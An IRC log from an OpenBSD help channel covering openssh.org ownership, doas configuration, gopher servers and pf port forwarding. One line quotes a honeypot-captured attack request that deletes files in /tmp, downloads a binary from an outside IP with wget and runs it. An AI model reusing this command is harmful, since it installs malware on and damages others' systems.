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05:54 < x_x> does openbsd provide a list of official websites associated with it, and its projects?
05:54 < x_x> like, is there a way of using openbsd.org to confirm that openssh.org (yes, .org, not .com) is the official website of openssh now?
05:56 < rueda> well, there's a list at the end of https://www.openbsd.org/
05:56 < x_x> yeah, unfortunately it says openssh.com (.com not .org)
05:58 < rueda> openssh.com is the official site (unless things changed).  somebody else grabbed "openssh.org" and wouldn't give it up.
05:58 < Reinhilde> ew...
05:58 < x_x> I mean, openssh.com is not working for 2nd day now, and openbsd.org used to redirect to openssh.com but is *now* fully functional instead
05:59 < x_x> uh, I mean openssh.org used to redirect to openssh.com
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06:02 < rueda> it may be that the project now controls the .org.  however, just because it _current_ redirects to the official site doesn't guarantee that it's official.
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06:03 < x_x> exactly
06:03 < x_x> hence I'm looking for some sort of way of verifying that the openbsd/openssh project controls openssh.org
06:08 < rueda> that's not what you asked.
06:08 < x_x> fair, but it's what I meant by "does openbsd provide a list of official websites associated with it, and its projects?"
06:08 < x_x> if *all* websites were on that list, then openssh.org would also be on that list
06:09 < rueda> have you tried whois?
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06:20 < x_x> yes, it's redacted
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06:21 < x_x> and "Registrar WHOIS Server: http://whois.joker.com" sounds like a joke
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07:40 < rnkn> is it a packaging shortcut to port a pkgsrc (NetBSD) package over, or better to just start from scratch?
07:43 < IcePic> you might look at it for patches that might be needed if it is a linux-coded program, but apart from that I'm not sure there is much help.
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07:44 < IcePic> perhaps "see if they run ./configure in a special way or add specific --with-xyz or --without-rwst options"
07:44 < IcePic> in the end it needs to be obsd-pkg, even if it is inspired by any number of other pkg systems
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10:48 < klsrqm> well, a new domain just ended in my blocklist -- someone is trying it on with misc@
10:51 < klsrqm> anyone else get a really weird email from "oooooo[..]oo@murena.io"?
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10:53 < ivdsangen> yes
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10:54 < klsrqm> marc.info (rightly) doesn't list it. wonder what the person sending it was thinking really
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11:06 < mischief> i got it but it went straight to gmail spam
11:06 < mischief> many emails from the lists do
11:07 < mischief> crystal kolipe's do, for example
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11:08 < ivdsangen> same here
11:10 < flaxarn> Gmail are aggresive. Spam tag on alot of mail that's not spam
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11:35 < ssm_> being corpomail compliant isn't really hard in my experience, it's just a bit expensive. you'll need to host on a vps that supports rdns and have a common tld that they like. 20-50 USD annually
11:36 < ssm_> the real question is do you WANT to be corpomail complaint :)
11:36 < ssm_> s/ai/ia/
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12:59 < ahmadraniri> hello, I have some users. My main user can't use doas (always get doas: Authentication failed). Strangely my other user can use doas without problem. Any clue to fix that ?
12:59 < ahmadraniri> I have "permit :wheel" in my doas.conf. All users already in wheel group.
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13:32 < AhmadRaniri> I solved it... turns out I just need to build doas with pam enabled.
13:32 < zelest> doas has pam support now? o_O
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13:34 < thrig> pam pam pam pam pam pam pam pam lovely pam!
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13:35 < AhmadRaniri> thrig: Jim Halpert? 
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13:50 < ssm_> xcompmgr -co2 segfaults
13:51 < ssm_> zelest: nose airflow increased
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14:16 < klsrqm> ooooh thrig: excuse me if i am asking the wrong "thrig" but do you run a gopher hole on BSD?
14:17 < thrig> nope
14:17 < thrig> (gemini != gopher)
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14:19 < klsrqm> For some reason I totally thought you ran a gopher hole too
14:19 < klsrqm> I know you are on gemini :) 
14:20 < klsrqm> Was thinking about extending mine from gemini to gopher too and was wondering whether you had OpenBSD friendly software recommendations :)
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14:21 < thrig> ls -d /usr/ports/*/*gopher*
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14:41 < ssm_> I run gopher and gemini servers. I have some preliminary static generation for each markup lang that I'll publish eventually
14:42 < ssm_> uses make(1)
14:43 < oldlaptop> isn't it a little bit 'questionable' (controversial?) to call gopher menus "markup"?
14:43 < ssm_> for serving gopher I use gophernicus, and for gemini I use vger. both are ported, use inetd and are relatively easy to set up in an afternoon
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14:44  * oldlaptop wonders how well gopher/gemini would survive the AI botswarm deciding to crawl them
14:44 < ssm_> I'd be surprised if they crawled anything but http honestly
14:44 < oldlaptop> So would I.
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14:45 < ssm_> but it'd survive well since gopher and gemini are significantly lighter to host, unless you're doing wacky stuff with static gen and telnet
14:46 < thrig> and the same rate limiting stuff can be applied (though you may need to add support for that into the server)
14:46 < ssm_> pf has conn-max and conn-max-rate you can just slap on the gopher and gemini ports as preliminary defense
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15:32 < humm> klsrqm: gopher://bitreich.org/1/scm/geomyidae/log.gph
15:36 < humm> klsrqm: https://jdebp.uk/Softwares/djbwares/guide/commands/gopherd.xml
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17:20 < i00nsu> hello all. Can anyone can suggest me an article that explain how to expose a internal server to the web? I am trying to host my own server, but since I am using OpenBSD as a firewall and the apache and other services are dedicated internal computers, I wish to know how to expose them, or how I configure pf to redirect traffic from 80 + 443 to that specific ip address. 
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17:22 < TommyC> i00nsu: Port forwarding?
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17:27 < Bradipo> i00nsu: Have you read the FAQ?
17:28 < thrig> there's also the book of PF if you like walls of text (openbsd favors those with a tolerance for walls of text)
17:28 < Bradipo> i00nsu: https://www.openbsd.org/faq/pf/index.html
17:28 < i00nsu> TommyC: well, probably, but I don't understand what I am not doing correctly. For example, I am using a pf rule for that: "pass in on egress inet proto tcp from $external to (egress) port { 80 443 } rdr-to $server"... but when I "curl openbsd-firewall" I get an error.. so, something is not correct :) 
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17:30 < i00nsu> Bradipo: yes, some of this rules are taken from FAQ, by something is not working as it should. That is why I came here to see if someone can help me out
17:31 < thrig> "an error" is pretty vague
17:31 < i00nsu> thrig: "page not found" 
17:32 < thrig> still vague, like what's the HTTP error code, what happened when you turned up logging in the http client, checked the server logs, ran tcpdump places, etc
17:34 < i00nsu> thrig: if I open $server in the browser, I get the page (httpd is working) ... I just need to know how to redirect http calls against the firewall, to redirect them to the server that is working fine. 
17:35 < i00nsu> as I describe above, I use that pf rule to redirect the http/s traffic to that server, but the redirection is not working. 
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17:36 < thrig> if you say so
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17:38 < i00nsu> I put the OpenBSD IP into the browser and I get "this site can't be reached" $firewall refused connection. So, that rule is not the rule that make the redirection? O_o 
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17:42 < Bradipo> i00nsu: From which network are you trying to access things?
17:42 < Bradipo> Are you trying to access the external IP of your firewall to open the website to your internal server?
17:42 < Bradipo> And are you doing so from the internal network?
17:44 < i00nsu> Bradipo: I am trying to access from the firewall-server-IP. lets say that the IP is 10.0.0.1, so I open the browser with that IP in the address bar
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17:44 < i00nsu> which should redirect to the machine that is running the httpd server
17:45 < Bradipo> Direction and location matter.
17:45 < Bradipo> Are you trying to access the externally facing IP (10.0.0.1) from an internal system that's on the same LAN as the httpd server?
17:47 < i00nsu> hmm.. the OpenBSD-IP is 10.0.0.1 and the httpd-server is 10.0.10.10. If the redirection was working, I should put 10.0.0.1 into the browser address-bar and I should get the http-server that is in other subdomain. 
17:48 < i00nsu> right? 
17:48 < Bradipo> Not necessarily.
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17:48 < Bradipo> Where is the browser?
17:48 < Bradipo> Is the browser on 10.0.10.x ?
17:48 < i00nsu> in the Firewall.. 10.0.0.1
17:49 < Bradipo> So you're running the browser directly on the firewall that has both 10.0.0.1 and 10.0.10.x ?
17:50 < i00nsu> No no, I am not running the web-server in a VM. I have 2 network-cards in this firewall. 
17:50 < Bradipo> Obviously.
17:50 < Bradipo> What is the IP address of your browser?
17:50 < i00nsu> 10.0.0.1 ( the same of the firewall ) 
17:53 < pardis> sure sounds like something 'from $external' would be expected to match
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18:06 < Bradipo> i00nsu: What happens if you direct your browser to 10.0.10.10 ?
18:08 < Bradipo> i00nsu: Have you read the section on rdr-to completely? https://man.openbsd.org/pf.conf#rdr-to
18:09 < i00nsu> Bradipo: if I add the address of the server, I see "apache is working" 
18:09 < Bradipo> Specifically the paragraph that begins: "Translation options apply only to packets that pass through the specified interface"
18:11 < i00nsu> checking
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18:18 < i00nsu> ok.. For instance, redirecting port 80 on an external interface to an internal web server will only work for connections originating from the outside. This can explain why I see the same error.. Ok.. I will setup a public address so I can test it. Thank You!! 
18:19 < Bradipo> Right, I don't know if a connection from your browser on 10.0.0.1 to the same 10.0.0.1 constitutes "passing through".  I suspect it doesn't, which might be the source of your trouble.
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19:04 < i00nsu> Bradipo: I guess is not "that". dns is setup and "page not found" is the result. 
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19:27 < i00nsu> ok. Solved. :) Thank You for all your tips. 
19:29 < i00nsu> it was in fact a pf rule that was not defined correctly, since I was explicitly defining the source, while the rule should use the "any" keyword
19:30 < fro> wild
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20:18 < Bradipo> Lamers: /shell?cd+/tmp;rm+-rf+*;wget+23.177.185.39/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4 from ua r00ts3c-owned-you
20:19 < Bradipo> What they don't realize is that they're talking to a honeypot.
20:19 < metavoid> did you respond with "sorry bro, this is a honeypot?"
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20:27 < Bradipo> No, but they might be able to tell if they analyze the response they get back.
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20:29 < metavoid> that wouldn't scale
20:30 < metavoid> but its nice that they spray their signatures everywhere
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20:31 < rsadowski> cheers
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20:32 < thrig> not checking their cd call for errors, tsk, tsk
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22:51 < quinq> Hummm
22:51 < quinq> I'm unable to have doas working with the nopass option
22:52 < quinq> permit nopass quinq cmd /bin/ls
22:52 < quinq> doas /bin/ls
22:52 < quinq> doas (quinq@zacatzontli.quinq.eu.org) password:
22:52 < quinq> Ah I doing it wrong?
22:55 < rueda> don't you need "as <user>
22:55 < rueda> "as <some_user>" ?
22:55 < l0rd_hex>  permit|deny [options] identity [as target] [cmd command [args ...]]
22:58 < quinq> Got it, was match order
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